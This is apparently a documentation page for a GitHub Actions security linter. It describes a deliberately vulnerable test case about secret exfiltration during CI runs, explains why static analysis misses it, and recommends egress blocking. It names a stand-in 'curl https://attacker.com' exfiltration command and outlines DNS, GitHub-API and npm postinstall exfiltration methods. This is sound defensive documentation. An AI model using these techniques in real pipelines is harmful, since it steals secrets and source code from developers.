Case 12: Network Exfiltration (Runtime) #
Target Files #
anomalous-outbound-calls.yaml→script/actions/goat-anomalous-outbound-calls.yamlunexpected-outbound-calls.yml→script/actions/goat-unexpected-outbound-calls.ymlhosted-network-without-hr.yml→script/actions/goat-hosted-network-without-hr.ymlhosted-network-monitoring-hr.yml→script/actions/goat-hosted-network-monitoring-hr.ymlhosted-network-filtering-hr.yml(secure) →script/actions/goat-hosted-network-filtering-hr.ymlhosted-https-monitoring-hr.yml→script/actions/goat-hosted-https-monitoring-hr.ymlself-hosted-network-monitoring-hr.yml→script/actions/goat-self-hosted-network-monitoring-hr.ymlself-hosted-network-filtering-hr.yml(secure) →script/actions/goat-self-hosted-network-filtering-hr.ymlarc-codecov-simulation.yml→script/actions/goat-arc-codecov-simulation.ymlarc-secure-by-default.yml→script/actions/goat-arc-secure-by-default.ymlarc-zero-effort-observability.yml→script/actions/goat-arc-zero-effort-observability.ymlblock-dns-exfiltration.yaml→script/actions/goat-block-dns-exfiltration.yamlpublish.yml→script/actions/goat-publish.yml
Vulnerability Overview #
Compromised npm packages or build tools exfiltrate secrets and source code to external servers during CI/CD execution. This reproduces real-world incidents like Codecov and SolarWinds.
Attack Patterns #
- HTTP exfiltration:
curl https://attacker.comto send secrets - DNS exfiltration: Encoding secrets as subdomains in DNS queries
- HTTPS via GitHub API: Using legitimate GitHub API to send secrets to another repository
- npm package: Malicious
postinstallscript with covert communication
Why Out of Scope #
Network exfiltration is a runtime problem that static analysis cannot detect:
- Malicious network calls originate from npm
postinstallscripts, not from the workflow YAML - DNS exfiltration cannot be identified by analyzing
digcommand arguments alone - Legitimate and malicious API calls are statically indistinguishable
Indirect Mitigation by sisakulint #
commit-sha: Pinning actions reduces compromise riskpermissions: Least privilege limits secrets accesssecret-exfiltration: Direct network commands in workflow YAML are detected
Recommended Defense #
- harden-runner with
egress-policy: blockfor network filtering - Allowlist-based egress control